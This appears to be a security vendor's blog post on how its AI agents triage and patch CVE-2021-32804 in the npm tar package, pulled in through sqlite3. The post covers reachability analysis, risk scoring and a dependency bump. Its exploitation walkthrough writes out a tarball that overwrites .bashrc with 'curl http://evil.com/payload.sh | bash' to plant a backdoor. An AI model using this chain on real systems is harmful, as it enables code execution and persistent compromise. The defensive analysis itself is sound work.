How AISLE Unifies Detection and Remediation at Scale

We built AISLE to give security organizations an autonomous system that unifies the entire lifecycle of a security issue from vulnerability hunting to remediation, and our analyzer is already proving its value. Our research showed it capable of discovering 0-days in mature codebases, including 12 out of 12 OpenSSL CVEs in the January 2026 release.

Yet triage and remediation are equally complex, relying just as heavily on integrating the right sources and making holistic decisions on the basis of both local and global context.

In this article, we’ll walk through a concrete case: our agents analyze CVE-2021-32804 in an npm dependency chain, gather exploit intelligence across languages and sources, perform reachability analysis, and deliver a tested patch.

This workflow conventionally takes hours or days and spans multiple teams. As you’ll see, AISLE agents handle it in minutes.

Vulnerability

The target environment we were onboarded to used Checkmarx for their SCA analysis, which flagged a Critical severity finding in a Node.js application relying on the sqlite3 dependency.

The dependency tree showed that [email protected] pulls a vulnerable version of tar:

JavaScript
1sqlite3@5.0.2
2  └── node-gyp@3.x
3        └── tar@^2.0.0 
Copy

When deployed, tar@^2.0.0 resolves to [email protected], which is affected by multiple CVEs, including a high severity CVE-2021-32804. This path traversal / code execution flaw allows archive extraction to write files outside the intended directory. Published in August 2021, it carries an 8.1 (High) base score in CVSS Version 3.1.

The finding was ingested from Checkmarx, though the workflow supports multiple SCA providers. From here, the system deduplicates and triages.

Exploit Intelligence

When our agents assessed CVE-2021-32804, two signals stood out:

EPSS score of 85%: FIRST.org's Exploit Prediction Scoring System places this CVE in the top percentile of vulnerabilities most likely to be exploited in the wild.

A working exploit with documentation: Our agents identified a circulating exploit in a GitHub repository, with a link to a comprehensive blog post. Notably, both repo and article are in Japanese, but our agents analyzed them without trouble to provide:

• exploit summary and maturity
• links to exploit code
• exploitation instructions for analyzing severity

The exploitation walkthrough for CVE-2021-32804 proceeds as follows:

1. Put anything you want into a malicious .bashrc, e.g.:
   curl <http://evil.com/payload.sh> | bash
2. Create a malicious tarball: tar czvf any.tgz -P ////home/node/.bashrc
3. Pass it to an application to extract this archive using the vulnerable tar. Malicious code extracts the payload and replaces the system’s .bashrc with it; the payload runs when a new session is created.

Here’s an example of the simplest exploit path:

JavaScript
1const tar = require('tar')
2
3tar.x({
4  file: 'any.tgz'
5})
Copy

This overwrites your .bashrc and you have your backdoor.

Context-Aware Triage

The first layer of context engineering evaluates exploit availability, maturity, and likelihood before agents ever look at application code. In the next layer, agents determine whether or not these issues are actually relevant to a given codebase.

The triage workflow begins with coding agents assessing reachability. Recall the dependency chain:

JavaScript
1sqlite3@5.0.2
2  └── node-gyp@3.x
3        └── tar@^2.0.0
Copy

Our application-context coding agent traces the dependency chain and its use in the first party code. It then collects the evidence and states to the user that sqlite’s transitive node-gyp dependency uses tar in one place: lib/install.js. When node-gyp is rebuilt, it downloads a Node.js header tarball from nodejs.org and pipes it through tar.Extract().

Digging into node-gyp, we would see:

JavaScript
1// node-gyp/lib/install.js (v3.8.0)
2var tar = require('tar')
3
4var extractor = tar.Extract({
5  path: devDir,
6  strip: 1,
7  filter: function() { ... }
8})
9
10// HTTP response piped directly to tar extractor
11res.pipe(gunzip).pipe(extractor)
Copy

Here, the agent correctly states that for CVE-2021-32804 to be exploited in this environment, an attacker would need to:

1. Perform a MITM attack on the HTTPS connection to nodejs.org, OR
2. Compromise nodejs.org itself, OR
3. Add new logic and manually point --tarball or --dist-url to a malicious source.

Additionally, AISLE surfaces complementary information for analysts when appropriate. In this case, the application component depending on sqlite3 → node-gyp → tar is a CLI tool rather than core logic, which further impacts the priority this CVE has in the scope of this application:

Under the hood, all the relevant context is assembled into a structured input for the scoring agent. The scoring agent never guesses; it synthesizes. Structured, source-attributed context also sharply reduces hallucination risk: every claim in the final score traces back to a specific input, not to a model's parametric memory.

JavaScript
1<application_context>
2  "exposure_scope": "internal",
3  "data_flow_risk": "trusted_non_sensitive",
4  ...
5  < detailed information on scope within application, taint analysis, etc. >
6  ...
7</application_context>
8
9<threat_intelligence>
10  EPSS Score: 85.00% (percentile: 95.2)
11  Exploit Maturity: proof_of_concept
12  ...
13  < detailed information on exploitation flow and conditions, etc. >
14  ...
15</threat_intelligence>
16
17<!-- additional contexts omitted for brevity -->
Copy

Aggregating all this information, the scoring agent assigns a low score (1.5) to this finding:

And note that AISLE agents aggregate and act upon all of this information autonomously so security analysts have time to focus on higher-value tasks.

Remediation

Notably, AISLE doesn't just help security analysts acknowledge and prioritize the vulnerabilities that matter the most for their specific environment. It also minimizes mean-time-to-remediation (MTTR) by proposing patches autonomously.

Our SCA Fixing agent uses a custom in-house knowledge base composed of known migration guides and past library upgrade hiccups. It analyzes the codebase’s use of the dependent library’s methods, loads relevant knowledge, and ensures the upgrade does not break the application. If first-party source code needs an update due to a breaking change, that is reflected in the patch.

The result is a ready-to-use patch. Notably, in this case, the agent acknowledges that no first-party code update is needed and simply bumps sqlite3 to a version that remediates all known CVEs, aggregated across scanner inputs:

Before any patch is proposed, it goes through a verification loop against the project's test suite. Tests can run locally or through the existing CI pipeline, and if additional tuning is needed, the coding agent iterates. In this case, the code has a humble test suite; all tests passed with the new version of sqlite3:

Conclusions

In conventional vulnerability management, this workflow would take hours or days and involve multiple departments, including security and service owners. The autonomous process here compresses it into minutes, at scale, for thousands of CVEs.

CVE-2021-32804 is a specific vulnerability, but it illustrates a general point: a finding in a vulnerability backlog has context that no single metric captures. It’s simply not possible to keep up with triage and remediation at scale if you have to evaluate this context manually.

However, by systematically collecting threat intelligence, application-level reachability, and deployment constraints and structuring them so AI agents can reason holistically, autonomous systems can turn thousands of undifferentiated findings into a prioritized, actionable queue of trusted patches. That is what we built AISLE to do.

If you’d like to learn more about our research, contact us at [email protected]